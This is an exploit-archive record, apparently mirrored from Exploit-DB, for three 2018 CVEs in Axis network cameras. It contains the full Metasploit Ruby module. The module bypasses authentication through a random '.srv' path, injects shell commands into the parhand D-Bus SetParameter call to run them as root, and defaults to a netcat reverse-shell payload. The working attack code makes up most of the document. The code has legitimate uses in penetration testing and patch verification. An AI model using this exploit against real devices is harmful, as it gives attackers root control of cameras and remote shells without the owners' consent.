{"exploit":{"id":"EDB-45100","name":"Axis Network Camera - '.srv' to parhand Remote Code Execution (RCE) (Metasploit)","description":"Axis Network Camera - '.srv' to parhand Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2018-10662","CVE-2018-10661","CVE-2018-10660"],"author":"Metasploit","published":"2018-07-27","platform":"linux","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45100","path":"exploits/linux/remote/45100.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45100.rb","vulnerabilities":[{"id":"CVE-2018-10662","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in multiple models of Axis IP Cameras. There is an Exposed Insecure Interface.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-10662","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-10662"},"updatedAt":"2024-08-05T07:46:46.211Z","retrievedAt":"2026-11-27T05:22:49.294Z","stale":false,"error":null},{"id":"CVE-2018-10661","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in multiple models of Axis IP Cameras. There is a bypass of access control.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-10661","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-10661"},"updatedAt":"2024-08-05T07:46:46.231Z","retrievedAt":"2026-11-27T05:09:34.753Z","stale":false,"error":null},{"id":"CVE-2018-10660","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in multiple models of Axis IP Cameras. There is Shell Command Injection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-10660","cvss":null,"updatedAt":"2024-08-05T07:46:46.826Z","retrievedAt":"2026-11-27T05:22:42.249Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45100.png?v=2","url":"https://exploitbin.com/exploits/EDB-45100","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45100/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45100/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  #include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Axis Network Camera .srv to parhand RCE',\n      'Description'    => %q{\n        This module exploits an auth bypass in .srv functionality and a\n        command injection in parhand to execute code as the root user.\n      },\n      'Author'         => [\n        'Or Peles',       # Vulnerability discovery (VDOO)\n        'wvu',            # Metasploit module\n        'sinn3r',         # Metasploit module\n        'Brent Cook',     # Metasploit module\n        'Jacob Robles',   # Metasploit module\n        'Matthew Kienow', # Metasploit module\n        'Shelby Pace',    # Metasploit module\n        'Chris Lee',      # Metasploit module\n        'Cale Black'      # Metasploit module\n      ],\n      'References'     => [\n        ['CVE', '2018-10660'],\n        ['CVE', '2018-10661'],\n        ['CVE', '2018-10662'],\n        ['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],\n        ['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']\n      ],\n      'DisclosureDate' => 'Jun 18 2018',\n      'License'        => MSF_LICENSE,\n      'Platform'       => ['unix'],# 'linux'],\n      'Arch'           => [ARCH_CMD],# ARCH_ARMLE],\n      'Privileged'     => true,\n      'Targets'        => [\n        ['Unix In-Memory',\n         'Platform'    => 'unix',\n         'Arch'        => ARCH_CMD,\n         'Type'        => :unix_memory,\n         'Payload'     => {\n           'BadChars'  => ' ',\n           'Encoder'   => 'cmd/ifs',\n           'Compat'    => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}\n         }\n        ],\n=begin\n        ['Linux Dropper',\n         'Platform'    => 'linux',\n         'Arch'        => ARCH_ARMLE,\n         'Type'        => :linux_dropper\n        ]\n=end\n      ],\n      'DefaultTarget'  => 0,\n      'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}\n    ))\n  end\n\n  def exploit\n    case target['Type']\n    when :unix_memory\n      execute_command(payload.encoded)\n=begin\n    when :linux_dropper\n      execute_cmdstager\n=end\n    end\n  end\n\n  def execute_command(cmd, opts = {})\n    rand_srv = \"#{Rex::Text.rand_text_alphanumeric(8..42)}.srv\"\n\n    send_request_cgi(\n      'method'    => 'POST',\n      'uri'       => \"/index.html/#{rand_srv}\",\n      'vars_post' => {\n        'action'  => 'dbus',\n        'args'    => dbus_send(\n          method: :set_param,\n          param:  \"string:root.Time.DST.Enabled string:;#{cmd};\"\n        )\n      }\n    )\n\n    send_request_cgi(\n      'method'    => 'POST',\n      'uri'       => \"/index.html/#{rand_srv}\",\n      'vars_post' => {\n        'action'  => 'dbus',\n        'args'    => dbus_send(method: :synch_params)\n      }\n    )\n  end\n\n  def dbus_send(method:, param: nil)\n    args = '--system --dest=com.axis.PolicyKitParhand ' \\\n           '--type=method_call /com/axis/PolicyKitParhand '\n\n    args <<\n      case method\n      when :set_param\n        \"com.axis.PolicyKitParhand.SetParameter #{param}\"\n      when :synch_params\n        'com.axis.PolicyKitParhand.SynchParameters'\n      end\n\n    args\n  end\n\nend","sha256":"7e20c83e8e425fd9d015df5231c35b1731b388f2f69ee534852d415da07d256b","bytes":3421,"fetchedAt":"2026-11-27T05:09:28.437Z","encoding":"utf-8 (display only; download retains original bytes)"}